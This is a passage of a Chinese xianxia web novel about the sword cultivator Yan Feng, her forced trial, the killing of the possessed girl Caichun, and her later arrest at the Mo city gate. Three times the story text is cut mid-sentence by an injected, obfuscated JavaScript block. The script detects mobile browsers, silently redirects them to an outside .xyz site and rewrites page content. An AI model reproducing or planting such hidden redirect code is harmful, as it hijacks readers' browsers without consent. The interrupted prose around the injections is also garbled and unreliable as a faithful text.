鄢丰的手始终紧握着甘镬剑,却始终没有任何动作。 “快啊鄢丰!!!!你不是钜子派来救我的吗?!快动手啊鄢丰!!” 鄢丰一愣。 “不错,是我下的令。鄢丰,”似乎为了印证男人的话一般,心口的墨牌恰在这时亮了起来,叶商的声音透过它清楚地传来,掷地有声,“杀了她。” 鄢丰不可置信地后退一步。 “不……” “你还在犹豫什么?!快杀了她!” 身后猛地传来一股大力,鄢丰毫无防备被推到神智全无的采春面前,男人大吼着:“啊啊啊啊啊别过来啊啊啊要杀你就杀了她吧!啊啊啊啊啊!别杀我!!!” 他撒腿便往身后狂奔,想要出城,可是很快,他便碰到了什么屏障一般,猛跌了一跤。 他捂着额头站起来,眼中恐惧更甚。 与此同时,采春尖利的指甲已经逼近鄢丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557295|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心口,一点一点破开衣料,又刺破皮肤…… 鄢丰却无动于衷。 心魔又出现了,她感觉不到任何痛楚,也听不到别的声音,唯有心魔的声音在耳边不断回响: “这就是你的兼爱之道吗,鄢丰?” 同样回响在耳边的还有叶商的声音。 她说:“‘兼以易别’——此乃我们墨家一贯之道……鄢丰,你要选择牺牲陌生无辜的百姓,偏私你的亲近之人吗?” 她一字一顿,像是对她的审判: “当日你加入墨家时,亲自向赵前辈起誓,要破除所有的偏见与歧视,要消弭所有不公,你说——” ——“兼以易别,人人相爱相亲,这个世界才能变得更好。这就是我的理想,也是鄢丰加入墨家的唯一理由。” 昔日,她曾经拿着甘镬剑,站在前代钜子的面前,一字一顿说着自己入门的誓言。 而如今,叶商说: “若你连这最基本的兼爱之道都无法践行……墨家又如何留你?” 这句话像一记重锤敲在心上,鄢丰不可置信地睁大眼睛。 可是叶商还在继续:“杀了她,或者……我以墨家这代钜子之名,将你逐出墨侠派。”顿了顿,她听到她叹息一般的声音在耳边说出最后一句话,声音很轻,也很淡,她说,“……无法贯守兼爱之道者,又该如何在墨家立足呢?” 恰随着她的话音落下,采春的眼中红丝毕现,魔气将她整个人都包裹起来,她似乎入魔更深了,魔气几乎让人看不清她的面容,很快,形成一阵旋涡的魔气聚拢在一起,形成了一只巨兽的模样—— 最后一杀,欲相·饕餮! 魔气化成的饕餮向她张开血盆巨口,这一次,没有能够破开魔气缺口的阵法,鄢丰眼睁睁看着黑色的巨兽将整个天空都遮蔽起来,尚贤城再也不复昔日的繁华盛况,此刻,这偌大的城中,只有三个人。 “她已经彻底成魔,你别无选择了,鄢丰。杀了她。” 叶商说。 “想要保住采春的性命吗,鄢丰?那你别无选择了。” 心魔说。 ——“你别无选择了”。 甘镬剑应声出鞘,剑气将采春的身体荡开老远,可头顶的饕餮还有不断变大的趋势。 鄢丰闭上眼睛,那名仅剩的无辜百姓犹自尖叫着扒在她身后,而采春神智全无,巨大的饕餮兽首张开血盆大口,将她也吞噬其中。 鄢丰只是在倾听。 倾听此时此刻,她的耳中唯一能够听到的声音—— “如果兼爱之道就是要一次次在亲与疏之间作出选择,这样的道,真的是你想要的吗?” “如果……兼爱之道就是这样,那我可能……” 鄢丰睁开眼睛,鲜血从她的七窍不住地流出,她对上采春的眼睛,第一次正面回答了“它”的质问,彻底缴械、归降: “真的错了。” 下一刻,另一股魔气也凭空出现,将鄢丰的身体也包裹起来。 “咣啷——” 鄢丰将甘镬剑扔在地上,红色阴翳瞬间爬满她的眼眶,另一头巨兽在黑暗中发出低声嘶吼,在一片浓郁的魔气当中呼之欲出! 哀相·毕方! 魔气在空中缠绕在一起,两头巨兽彼此撕咬争斗,几近旗鼓相当之势。 鄢丰想,司同光说对了。 她也有主动将钥匙插-入锁中那一日。 可下一刻,魔气忽然散去大半,鄢丰在浓雾拨开的刹那,对上一双鲜红却明亮的眼睛。 ——一如初见。 45. 群魔(二) 琉璃血救不了所有人。 鄢丰比任何人都更清楚这一点。 因为当年,她就险些因此而死。 当时,魔气来势汹汹,以一种可怕的速度扩散至各家各派,扰动人心,无论学派。 墨侠派那一代的钜子因此溘然长逝,尸骨无存,叶商则接过她留下的钜子令,顶着屠杀这种绝不能为墨家兼士所接受的罪名,下令:入魔者,一律斩杀。 一时之间,原本安居乐业的百姓们一时人心惶惶,家家都闭紧门户,提心吊胆。 ——他们熟悉了前代钜子春风化雨、和蔼亲近的风格,在新任钜子的铁腕之下,害怕极了。 鄢丰就是在那个时候来到魔气最为浓郁的尚贤城。 她一家一家叩门,一遍一遍告诉他们:“我不是来杀你们的……即使真的有魔气入心者,我也能救你们。” 他们将信将疑地打开门,可是甫一看见她腰间的兼士令牌便吓得一个激灵,狠狠关上门,之后,无论她怎样苦口婆心地劝,门内也再不传来一点儿声音。 天色渐晚,鄢丰颓然靠着一座高高的草垛坐下来。 茫然四顾,偌大的尚贤城中,除了她竟然见不到一个人。 “……鄢丰姑娘?” 一个柔顺的女声突兀地出现在身边,鄢丰有些惊诧的偏过头,对上一名女子笑盈盈的眼睛。 “沐姐姐?” 鄢丰记得她。 女子名唤沐晚晴,本是儒家孟派的贵族。 她不顾家人反对同一名墨家修士私奔,在城外被儒家弟子围困,鄢丰恰好偶然碰上,帮他们解了围。 沐晚晴就在尚贤城住了下来。 尚贤城近期的惶然似乎丝毫没能影响到她,她还是那副笑模样,在她身边自然地席地而坐: “你是奉命来查剿入魔之人的吗?” 鄢丰重重摇了摇头:“不是的。叶商——钜子她也不是大家想象的那样……”她犹豫着看向沐晚晴,连日来的挫折让她有些胆怯,但顿了顿,她还是说,“……我是奉钜子之命来的,但我来的不为诛魔,而是为了……‘净化’。” 沐晚晴眼底没有一点儿怀疑,她静静听她说完,站起来,朝她伸出手: “我相信你。我也会试着让大家也相信你的。” 鄢丰眼睛一亮,又惊又喜:“真的吗,谢谢你,沐姐姐!” 沐晚晴摇摇头:“是我们尚贤城的百姓该谢你啊,鄢丰姑娘。你可有想过……”她眼底闪过一点温柔的忧虑,叹息一声,“大家真的都相信了你,你会怎么样呢?” 她的话,鄢丰当时并未放在心上,只满心欢喜地住进沐晚晴的家中。 到了她的家中鄢丰才发现,原来沐晚晴已经生有一个女儿,正是少女的模样,还没进门便能听到门内朗朗的读书声,念的正是《兼爱》一篇—— “圣人以治天下为事者也,不可不察乱之所自起。当察乱何自起……” “采春,娘回来啦。” 一听到她的声音沐晚晴便立刻弯弯眼睛,声音都缓和了几分。 “娘亲!” 眼前最先闪过一抹鲜红的色彩,回过神才发现,少女乌黑的长发间绑着一条红色的缎带,随着她奔跑的动作随风飘动起来,漂亮极了。 “我带了一个姐姐回来,你不是想进墨侠城吗?”沐晚晴轻抚她的乌发,温柔道,“那要多跟这位鄢丰姐姐请教呀。” 她怀中的少女微微转过头,鄢丰笑着跟她打招呼:“你好,我叫鄢丰——鄢城的鄢,瑞雪兆丰年的丰。” “我叫沐采春。”少女在她面前站定,看了她一会儿,问,“鄢丰姐姐,我什么时候才有资格成为墨侠城中的弟子呢?” 她的那双如水一样明亮的眼睛,见过的人都难以忘怀。 于是,鄢丰看着这双澄澈的眼睛,回答:“坚守兼爱之道的孩子,最终都可以进入墨侠城中的。” “真的吗?” 鄢丰笃定地点头:“真的。” 城中很快出现了被污染的百姓互相攻讦的事件,在鄢丰和沐晚晴一家的努力下,有走火入魔之兆的百姓终归还是将信将疑地饮下鄢丰的血—— 其实他们别无选择了。 不相信她,在钜子的诛杀令下,便只有死路一条。 很快,鄢丰的血被证明效果极佳,魔气却不减反增,她只能在百姓们的乞求下一次一次剜下自己的血,给他们饮下。 沐家的门几乎每分每刻都有人敲响,哭求着要见鄢丰一面。 沐晚晴眼看着鄢丰日渐虚弱,终于有一天,她将大门锁了,谁也不让进。 鄢丰勉力支撑着站起来:“沐姐姐,没关系的……他们需要我。” 沐晚晴听到她有些干涩沙哑的声音,眼眶立刻就红了,她几乎是忍无可忍地大声说: “你还没有发现吗,鄢丰?……那些百姓喝了你的血,只是短暂地好转了几日,过几日便又上门来了,一次比一次敲门声更响……”眼泪夺眶而出,她哽咽着说,“这样下去,和饮鸩止渴……有何分别?” 鄢丰有些不知所措地看着她,半晌,也只能讷讷地说:“……沐姐姐,别哭。” 为了安抚沐晚晴,接连几日,鄢丰都没再放血救人,脸色较之前几日多了几分血色。 沐晚晴高兴极了,花了整日时间炖汤,要给她补身子。 日色渐暮,她笑盈盈地喊: “鄢丰,采春,来吃饭吧。” 无人应答。 这间小屋只有十尺见方,她找遍每个角落也看不见她们,彻底慌了神,跑出家门。 顾不上扑面而来的魔气,听到不远处的争执声,她拔腿便跑过去。 鄢丰正在和几个城民对峙。 “……今日过后,我还是会打开门来,放血救人的。采春是无辜的,你们——” “你空口无凭,万一我今日放了这小姑娘,沐晚晴那娘们又不让你出来呢?” 男子情绪激动,不停她说完便打断道。 鄢丰顿了顿:“……你们想要如何?” “采春,鄢丰!” 沐晚晴就在这时姗姗来迟,为首的男子笑了笑:“来得正好。你自己选吧——你是要独占我们的救命灵药,还是要你的亲生闺女?” 他的身后,采春被粗粝的绳索绑缚着,干净的脸蛋上几分脏污,唇边挂着一点儿淤青,像是被人粗暴地摔在了地上。 听到男人的话,那双乌黑的杏眼微微睁大,露出一点儿畏惧的不可思议。 沐晚晴的脸色一下惨白,鄢丰急忙扶住她摇晃的身体,蹙起眉: “黎叔,你若再这样执迷不悟……” 她拔出腰间佩剑,雪亮的剑光将所有人都吓了一跳。 连日以来,这个姑娘多是与人为善,甚至可以说是逆来顺受,以至于人们几乎忘记—— 她腰间系着的墨牌,可是象征着墨侠城第一等的兼士令。 男子果然后退几步,将采春往前一推,嘴上嘟囔着: “不帮就不帮呗,动刀动剑的做什么……” 鄢丰定定看着他,一字一顿地许诺道:“大家今日回去大可告诉身边邻里……明日我会在沐姐姐家中,放血救人。有需要者,请务必到访。” 沐晚晴几乎是木然地将两人领回去的,一路上,不论谁同她讲话,她都恍恍惚惚的样子。 不详的预感在第二天得到印证—— 沐晚晴已经入了喜相。 采春发现,素来风度翩翩、笑不露齿的娘亲,忽然咧嘴朝她不住地笑,口中说: “我们的采春……将来一定会是墨侠城中,顶顶厉害的弟子。” 两个孩子都发现了,沐晚晴却似乎并不自知。 鄢丰主动揽下做饭的工作,只为了在给沐晚晴的那一碗饭中,掺入她的一滴血。 她的法术很精妙,沐晚晴又恢复了原本温柔而内敛的模样。 可她还未及松一口气,便发现,她单是看着鄢丰将血挤在碗中,便脸色发白,魔气四溢,很快又再次步入喜相。 循环往复几次,沐晚晴察觉到不对,神情肃穆地警告她: “我宁可成为行尸走肉,也不要靠你的血维持这样的假象。”她目光甚至可以说是严厉,死死盯着鄢丰,“你要向我起誓——你和我立下心魔誓,绝不再让我喝下你的血!” 鄢丰勉强笑了笑,摇摇头:“沐姐姐,你在说什么呢?你没有入魔,我又为什么要你喝下我的血呢?” 沐晚晴闻言眼眶红了一圈,抚着她的发顶,默默垂泪: “傻孩子……” 鄢丰心中一片柔软,她想了许多,她想,沐姐姐这样好的人……即使流干了血,她也要救她。 可是沐晚晴却一面哭,一面笑了起来。 鄢丰永远无法忘记,那带着诡异笑容的森森白牙,在魔气的裹挟中让人毛骨悚然,她听到她说的最后一句话: “傻孩子……我是儒家的人呀。亲疏有别,为了我的孩子,我不得不把你交给他们。” 那日的抉择,终归化作心魔,一点一点,将她的善意蚕食殆尽,彻底疯魔。 再次睁开眼睛时,鄢丰发现自己仍然身在沐晚晴的家中,手腕却被冰冷的锁链牢牢锁住,固定在墙上。 腰间佩剑、发间的木簪——所有可以伤人,或者自伤的东西都被细心地收走了。 “你醒了。” 似乎是看到她的动作,熟悉而陌生的声音从头顶响起,沐晚晴居高临下地看着她,微微笑了笑,将一碗水凑到她的唇边:“喝一点水润润嗓子吧。” 那是鄢丰此生难忘的噩梦。 沐晚晴大开家门,将那些和她一样几近疯魔了的人们请进家来。 每一天,这些人都一面哭着向她道歉,一面毫不犹豫将她的血饮下一碗又一碗。 鄢丰永远忘不掉手腕被铁链绑缚住时那种冰冷的痛楚。 她眼睁睁看着不起眼的红血丝悄悄攀上沐晚晴美丽温柔的眼睛,来到家中的人越来越多,他们总是一面落泪、道歉,一面毫不犹豫取走她的血,小心翼翼维持着这个脆弱的平衡。 但是沐晚晴是对的。 饮下琉璃血缓解心魔的蛊惑,无异于饮鸩止渴。 每天屋里的魔气都越来越浓重,他们只能变本加厉,开始取她的心头血,压制反扑的心魔。 第五日时,鄢丰便感觉自己撑不住了。 她不觉得愤怒,只觉得可惜—— 如果她的命在此终结,又有谁能真的救救这些因无助而彷徨、疯癫的人们呢? 紧闭的门就在那时被破开,一道刺眼的光芒照彻那间局促的暗室,鄢丰听到刀剑没入血肉中的声音—— 一柄锋利的长剑,竟然毫不犹豫,稳而准地贯穿了沐晚晴的胸膛! “鄢丰!” 鄢丰抬起头,飞扬的红缎率先在眼前闪过,而后,她对上一双黑白分明的眼睛。 在她被囚禁的时间里,采春不是没有劝阻过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557296|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,她还太小,她的话终归只能淹没在人们的哭泣与叹息中,又或者被沐晚晴严厉地喝止。 鄢丰没有想到,这个小小的少女,会有这样坚忍决绝的心性。 ——沐晚晴也一样。 她不可置信地看着自己的孩子,飘扬的红缎将她眼中的红丝衬得更红了。 片刻后,一只手艰难地抬起,抚上她的发顶,沐晚晴最后露出一个恬淡而温柔的笑意,一如往昔。 “……我们采春,长大了。” 轰然倒地! 她义无反顾地挡在她面前,以神挡杀神的决心,横剑杀死所有围困住他们的人。 从邻里长辈,到同窗玩伴。 最后一个入魔者也轰然倒地,采春却犹嫌不够似的,低着头跪在地上,将长剑刺穿一双双死不瞑目的眼睛。 她看起来冷静极了,利落地抽剑,口中还断断续续不断念着什么。 凝神细听才发现,她的声音微微颤抖着,不断重复念诵着的,正是《兼爱》中的句子。 “视人之家若视其家,视人之国若视其国,是故……” “圣人以治天下为事者也,不可不察乱之所自起。当察乱何自起……” 不知过了多久,采春终于停了下来。 她呆立在原地,麻木的眼珠微微转动,在对上鄢丰复杂的目光时,终于忍不住,失声痛哭起来。 “娘……黎叔、阿虎……对不起、对不起……”眼泪止不住地落下,她跪坐在一地血泊中,难过极了,不断地说着,“钜子说……至少这样,你们还有入轮回的机会。” 半晌,哭声终于微弱下来,采春抬头擦干眼泪,走到她面前,利落地拔掉穿透她整个手腕的铁链,在她跌倒之前勉力扶起她,声音还有些哽咽: “对不起,鄢丰姐姐。你救了我们……我们却为你带来这样的无妄之灾。” 鄢丰慢慢将尚残留血污的手搭在她肩膀上,借力自己站起来,默了默,安慰的话在口中千回百转,最终却只有一句:“谢谢你。” 采春擦去脸上的血与汗,仰头看了她一会儿,竟然笑了一下: “你的剑,还你。” 她小跑着捡起地上饮尽鲜血的甘镬剑,一丝不苟地递到她手里。 鄢丰心情复杂地接过来,犹豫再三,还是试探着问: “你……愿不愿意,和我回墨侠城,正式修习墨家之术?” 少女明亮如水的眼睛一眨不眨地和她对视,重重点了点头。 下一刻,昔日那双如水的眼睛与此刻布满红丝的眼睛交相重叠。 “鄢丰。” 她准确地喊出她的名字,弯着眼睛笑了。 红色的阴翳在她的眼中若隐若现,鄢丰感到一股冷水仿佛兜头浇下,她怔愣在原地,听到采春对她说的最后一句话。 她说:“对不起。但其实我已经……” 血泪从她眼中流下,她一面笑着,一面捡起地上的甘镬剑,毫不犹豫将它贯穿了自己的心口! ——那把曾毫不犹豫斩杀入魔者的长剑,终于还是化作她自己的审判之剑,于此时、此地,正中心脏。 鲜血将鄢丰灼得一痛,眼中不可自控地流下热泪,采春的身体轰然倒下,轻声说出最后的一句话—— “我已经,别无选择了。” 鄢丰怔愣地看着这始料未及的一切,采春却咧嘴露出一个笑来。 她张了张口想说点什么,可仅剩的另一只眼睛很快又爬满数不尽的红色血丝,这具身体,分明心脏已经停止跳动,可是肉身却还在不断地求生、挣扎,她——它朝她抬起手,脸上的表情僵在最后那一笑的弧度,无端有些诡异,竟然还在开口说: “求求你……救救我……求你……救救我救救我救救我救救我……” 巨大的哀伤涌上心头,心神彻底崩溃,她毫无章法地挥出一剑又一剑,简直不像是一个剑修,而是初入剑门的无知稚童。 她哭得也无助极了,一剑一剑,将这具身体砍得七零八落,肢体和碎肉、鲜血横飞,可是那身体却还是不断地挣扎——它只是一滩肉,一滩呼吸着,服从本能而行的肉。 ——那不是人。 不是人……吗? 鄢丰砍断它的头颅,采春大睁着的红色眼睛直直看着她,嘴巴还在张合,质问她: “鄢丰,鄢丰……救救我啊,我好痛、好痛啊……啊啊……” “你还不明白吗鄢丰!” 鄢丰后退几步,叶商的声音却在这时再次响起,逼她面对那被她刻意忘却的残酷现实,“她眼中的红色,便是她作下的恶因啊。——剜她的眼睛!” 鄢丰听到这句话,猛地一震,剑竟然咣啷一声脱了手,落在地上! “还需要我再告诉你一次吗?”叶商长叹一声,道,“杀魔的唯一办法,就是斩断因果线。你只有斩断她眼中那些‘恶因’,她才能入轮回啊。可惜……” 随着她话音而来的,是滚落在地的头颅。 那双眼睛已经彻底变红,再看不出一点儿原本的模样。 “——已经来不及了。” . 万籁俱寂。 城门打开,天光乍破,鄢丰孑然独立在空城之中,麻木地收剑入鞘。 透过雪亮的剑光,她对上一双,布满丝丝红线的眼睛。 她不可抑制地笑了起来,仿佛在一瞬间,什么都明了了。 ——原来累累罪行……早在眼中,一目了然啊。 46. 群魔(三) 铺天盖地的魔气倏然间全部消散,一时间,衬得尚贤城中碧空如洗,美丽极了。 可鄢丰无心欣赏这份难得的风景,因为叶商的声音就在下一刻传来。 “你的试炼失败了,鄢丰。” 尚贤城的大门轰然打开,叶商倏然出现在她的身边,那名无辜的百姓却像疯了一般朝着叶商的方向跑来:“钜子、钜子……救救我,救救我啊……” 叶商不语,耳边唯一清晰的是剑出鞘的声音。 鲜血喷溅在脸上,鄢丰这才不可置信地看向那应声倒地的人。 只看了一眼,便让她止不住打了个冷颤—— 她看到他方才还黑白分明的眼睛,就在此刻,变成了白茫茫的一片。 鄢丰听到自己声音嘶哑,一字一顿地问: “如果采春是成魔了,那他……这又算是什么?” 叶商目光平静地看了一眼地上的尸体,又看向她,微不可见地一扯唇角:“你觉得他是什么?” “我……” 鄢丰久久说不出话来,半晌,她才猛然明白了什么,看着叶商,几乎是失声喊出来: “尚贤城中的百姓,不都是因为入魔而被杀死的!” “但他们都是因为魔气的污染,才变成了这幅非人非鬼的模样的。” “那他……到底是什么?” 叶商不答,反问道:“我已经告诉过你,兼爱之道是这场试炼中最必要的条件。你为什么不肯按照我说的去做?” “兼爱之道从来不该是要为了一个人舍弃另一个人!证得兼爱之道的方法也不该是杀亲救人、亲疏抉择!”她失声大喊,又很快平静下来,顿了顿,试探着抬起头看向叶商的眼睛,一字一顿地向她确认,“敢问钜子……当日你我共同起誓的,要守护的兼爱之道,本非如此,不是吗?” 叶商哂笑了一声,低头端详着那把墨色的钜子之剑,说:“从赵前辈将这把剑交到我手里那天起……叶商之道,便已不再是‘兼爱’了。” 在鄢丰惊诧的目光里,她转过头来,将她仔仔细细打量了一番,仿佛要一一数清她眼中的红丝究竟几何。 “所以,鄢丰,”叶商说,“你的问题,只有你自己去寻找答案。身为钜子,恕我……再也,不能奉陪。” 叶商说完这句话,城中一时静默无言。 半晌,鄢丰像是不可抑制一般,低声笑了起来。 半天她才停下来,抬起头看着叶商,再不犹豫,拿出那枚始终小心揣在怀中的兼士令,递到叶商的面前,像是下定了什么决心: “钜子之心,鄢丰明白了。……还请钜子践行律法,以钜子之名,将鄢丰,逐出墨侠派吧。” 叶商垂眸看着眼前那枚光芒暗淡的兼士令,默了默,接过来。 鄢丰额心的尚同印挣扎着闪烁几下,终于还是暗淡下去,彻底在她眉心消散。 “走吧。” 她几乎是立刻便转过身,大步离开,仿佛一刻也不愿再停留。 鄢丰这时才注意到,温璧月始终跟在叶商的身后。 她突然看了她一眼,欲言又止的模样。 鄢丰不解地偏头和她对视,温璧月好像终于下定决心,走到她身边正要开口,下一刻,一道阴影投下来,走在前面那道挺拔的身影,忽然毫无征兆地轰然倒地! “钜子!” 鄢丰条件反射地上前,和温璧月一左一右扶住她。 她看向温璧月,正要开口询问,叶商额心那象征墨家最高权力的钜子印却闪烁起来,眼看它的光芒越来越暗淡,不复往昔的神采,叶商呕出一口鲜血! 钜子印又闪动了一下,很快偃旗息鼓,隐匿起来了。 . 那一日,微风和煦,鄢丰好像也是这样,跟在一位前辈的身后,走在这深不见底的黑暗中,几乎连那身张扬的紫色都成了黑衣。 少年时好奇心重,她忍不住问那个人:“前辈,节葬楼究竟有多大?” 那时,舒泓只是笑了一声,却并未作答。 她于是又问:“节葬楼,为何取‘节葬’二字?” 这一次,舒泓终于开了口,却只是摇着扇子,微微敛去笑意,半晌才道:“……你不会想知道的。” 与此同时,温璧月的脚步也终于停了下来,鄢丰喘着粗气,已记不清手中的剑剜去多少双无望的眼睛。 可即便如此,这偌大楼阁中的魔气却好像不减反增,黑暗中,那一双双猩红的眼睛仍然在不断闪烁着野兽的幽光,只是碍于她手中饮尽了鲜血的长剑,不再敢近身。 这使它们永远错过了捕猎的机会。 因为很快,随着温璧月将自己的令牌严丝合缝楔在面前这一扇紧闭的大门,楼内亮起刺眼的光芒,在无数入魔者绝望的哭嚎中,阵法无情启动! 借着阵法的光芒,鄢丰几乎能够清楚地看到那些入魔者七窍都流出血来,眼中的红色蛛网竟然随着鲜血的流淌从眼眶中生生脱落,连带着眼珠和浆液也一并落在地上,无助地在地上闪烁起鲜红的光芒,又很快消失不见。 鄢丰这才意识到,脚下原来始终踩着一个巨大的杀阵—— “节葬”之阵。 回过神来的时候她已经被人推进了那扇门内,门不知是何时打开的,视线逡巡片刻,对上了叶商的眼睛。 她递来一方素白的帕子:“我再晚一点来,你便也要葬身阵中了。——擦一擦吧。” 鄢丰这才感到一股锐痛透过眼睛刺激着她的神经,脸上被一层粘稠的液体糊住,拿帕子一擦才发现,她的七窍都流出了鲜血。 不待她开口询问,叶商已经侧过身迎她往门内走,一边说: “猜一猜,这是什么?” 鄢丰终于回过神,眼前的一切让她不禁一阵颤栗。 非人的嘶吼、干涸的血液、森然的尸骸……以及彻骨的魔气——世间与死亡和邪恶相关的一切,在这扇门中,全都以一种令人难以想象的庞大数量,陈列其间。 视线上移,数不清的特制铁笼中,以人的残躯重组为奇怪模样的怪物正在牢中挣扎、撕咬。而这些困兽的背后,竟然无一例外地都匍匐着七只由魔气幻化而成的巨兽! 她再次对上了一双熟悉的眼睛。 “这是……采春?” 温璧月不置可否:“这里的人,除了采春,其他人你也应该不陌生。” 她又报了几个名字,鄢丰随着她的话一个个扫过那些非人的怪物,除了被她亲手斩杀的采春,她几乎认不出它们竟然是温璧月口中所说的,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557297|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些昔日与她并肩作战的伙伴。 “这些,都是昔日墨侠城中,最天赋异禀的弟子。甚至其中……不乏和你一样的天生灵体。”温璧月垂眸看着在牢笼当中挣扎的采春,叹口气,“从赵前辈逝世那时我们就应该想到……越是至善之人,越容易滋生心魔,自省太过……必要走向自毁之路。” 鄢丰看向叶商:“巨子印也是因为这个吗?” 叶商点点头:“比起治下百姓……墨侠城中的弟子,才是墨家一脉赖以传承之根本。”顿了顿,她叹息一声,“这些弟子无一不是在斩杀入魔者的过程中生出了心魔……身为钜子,这是我的失察。尚同印反噬,也是应该。” 鄢丰喉头一哽,问: “敢问巨子……如今墨侠城中,持兼士令的弟子,还有多少?” 这句问话如同水滴入海,半天也无人应答。 “除去我和璧月的……”不知过了多久,叶商叹口气,从袖中拿出她方才交还的墨牌,拿在手中掂了掂,说,“这个,就是墨侠城中,最后的一枚了。” 鄢丰呆立在原地,半天才找回自己的声音:“……钜子将我带来这里,是为什么?” 半晌,叶商说:“还记得,在尚贤城中,我告诉过你的……杀死魔的方法只有一个。你还记得吗?” 鄢丰下意识抬起头看向牢中怪物的眼睛,叶商却微微摇了摇头:“没用了。他们这样。是彻底魔气入心,因果网罗其中,再也不能为我们所见了。” 听出她的言外之意,鄢丰试探着问:“难道……” “不错。从前,墨家弟子中,自来不乏琉璃心者。有他们在,即便有魔入膏肓的人,也能借他们的血,斩断因果。但是鄢丰,如今……”叶商低下头,又从袖中拿出另一枚墨牌,摊开手递到她面前,“如今,你是最后一位了。” 这一次,她直视着她的眼睛,目光恳切到近乎于乞求,她顿了顿,一字一句,郑重道:“我以墨侠派钜子的身份,邀请你,加入墨侠城,成为墨侠兼士之一员。入门考核的条件是……” 鄢丰一下睁大眼睛,一切都一如往昔,她仿佛回到五百年以前,站在那位钜子的面前,听她含笑着说:“条件是……” “我想请你,替我找到那个方法。” 过往与现实短暂地交叠,叶商的声音透过重重阻隔,清晰地传到她耳中: “找到不需要琉璃血,也能斩断因果线的方法。” 见鄢丰接过她手中那入门的“墨侠令”,叶商松了口气,语气再次恢复了往日的平静,她告诉她: “游仕派恐怕也有和我们一样的困窘之处。你且到尚同城去,问一问他们的钜子……可有何应对之法。” 她将鄢丰送到墨侠城前,看着她再次将墨牌系在腰上,眼底的笑容总算多了几分真意。 鄢丰知道情况紧急,很快向她和温璧月道了别,匆匆转身离去。 “——鄢丰。” 鄢丰回过头,对上叶商疲惫的双睛。 “告诉你一件事吧。”她看着她,微微笑了笑,说,“……你的试炼,其实还远未结束。” 鄢丰睁大眼睛,正待追问,叶商却已经转过身,踱步回到了墨侠城中。 最后一眼,惟见她清瘦而挺拔的身影,执剑独行。 47. 群魔(四) 这天夜半,鄢丰就赶到了墨家游仕派的驻地,墨城。 与墨侠城不同,墨城有着极为严格的治理体系,所有入城的人都必须经过严格的检查——包括本门弟子。 排队的弟子素养也极高,队伍从城头排到野外,凡腰间悬挂墨牌者,竟然无一人,同旁人窃窃私谈。 这份寂静很快被一道音量极大的呼喊打破了。 “你们做什么!放开我!” 鄢丰蹙起眉,循着声音的方向看去。 她觉得这声音有些耳熟。 她排在队伍最后,向前远远一看,在队伍的中段,一名清瘦的少年被守卫一左一右押着,拖出了队伍。 那少年一面挣扎一面呼喊:“你们这是什么劳什子墨家!整天张口闭口爱爱爱爱,怎么到了我这里,连城都不让进!!——放开、放开我!” 鄢丰入魔之后,视力便不大好了。 而前些日子在墨侠城的试炼中,她又斩杀了无数昔日并肩作战的伙伴,心魔再次缠身,攀在眼眶中那些鲜红的丝线似乎更加放肆,以至于此刻她看什么都像是隔着一层血色的阴翳,模模糊糊,像是雾里看花。 半天,她也想不起来在哪里听过这声音,又看不清楚,打算就此作罢。 可那道声音竟然随着佩着长枪的守卫的脚步声,越来越近了。 终于,守卫押着少年走到她近前,停了下来。 鄢丰终于看清这少年的模样——原来正是当日在永夜城中被人追杀的少年。 他显然也认出了她,睁大眼睛正想说些什么,守卫便强硬地将他制住,另一人走到鄢丰的面前,公事公办地向她出示自己手中的身份令牌,说:“我等受钜子之令,调查尚同城中魔气污染之源头。所有在尚同城境内的魔,或者入魔者,保险起见,全都统一护送到墨城,由钜子亲自裁断。” 话毕,鄢丰还没有反应过来对方话中的意思,便和那少年一样被守卫拉出队伍,押解起来。 他们又在队伍中逡巡片刻,手中的试魔符烧去一张又一张,确认这队伍中魔气的来源只有他们两人之后,才把他们带向与进入尚同城截然相反的方向。 路上,那少年一直朝她使眼色,似乎想要说些什么,可每一次,他都是刚一开口就被守卫喝止,只能悻悻作罢。 他们被关进一间阴暗潮湿的地牢之中,守卫锁好牢门便迈着整齐的步伐离去了。 一路上,少年对她多番打量,此刻终于能够开口,问她:“鄢姐姐,你还记得我吗?我们在永夜城见过的。” 说起永夜城,少年的目光暗淡了一些。 鄢丰不答。 一如当时在永夜城,她不答话他也不气馁,只是自顾自地继续说: “鄢姐姐,你告诉了我你的名字,可是,你还不知道我的名字。”少年微微眯起眼睛,笑了笑,朝她伸出手,“我叫林叶愁。” 对方似乎对她有一股莫名的信任。 鄢丰蹙起眉审视地看了看他,将冰凉的手和他交握,却迟迟不曾开口。 林叶愁终于有些困惑起来,歪头喊她:“鄢姐姐?” 顿了顿,将她打量好几遍,他好像终于明白了她不答话的原因,试探着问: 